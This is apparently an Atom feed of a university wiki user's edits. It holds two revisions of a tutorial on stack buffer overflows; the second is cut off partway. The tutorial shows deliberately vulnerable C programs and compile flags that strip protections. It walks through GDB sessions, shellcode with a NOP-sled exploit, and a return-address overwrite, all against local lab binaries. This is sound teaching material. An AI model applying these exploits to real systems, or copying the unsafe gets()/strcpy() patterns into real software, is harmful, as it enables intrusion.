<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AKofranek</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AKofranek"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/AKofranek"/>
	<updated>2026-09-10T19:27:29Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17017</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17017"/>
		<updated>2024-12-11T19:00:35Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview == &lt;br /&gt;
&lt;br /&gt;
This Pentesting article features 3 examples on exploiting different binaries, that have buffer overflow vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more complex versions.&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. &lt;br /&gt;
&lt;br /&gt;
To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. &lt;br /&gt;
To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Example 1: Simple Game to Overwrite an Integer==&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2: Execute Your Own Shellcode ==&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17016</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17016"/>
		<updated>2024-12-11T18:58:41Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. &lt;br /&gt;
To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. &lt;br /&gt;
To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Example 1: Simple Game to Overwrite an Integer==&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2: Execute Your Own Shellcode ==&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
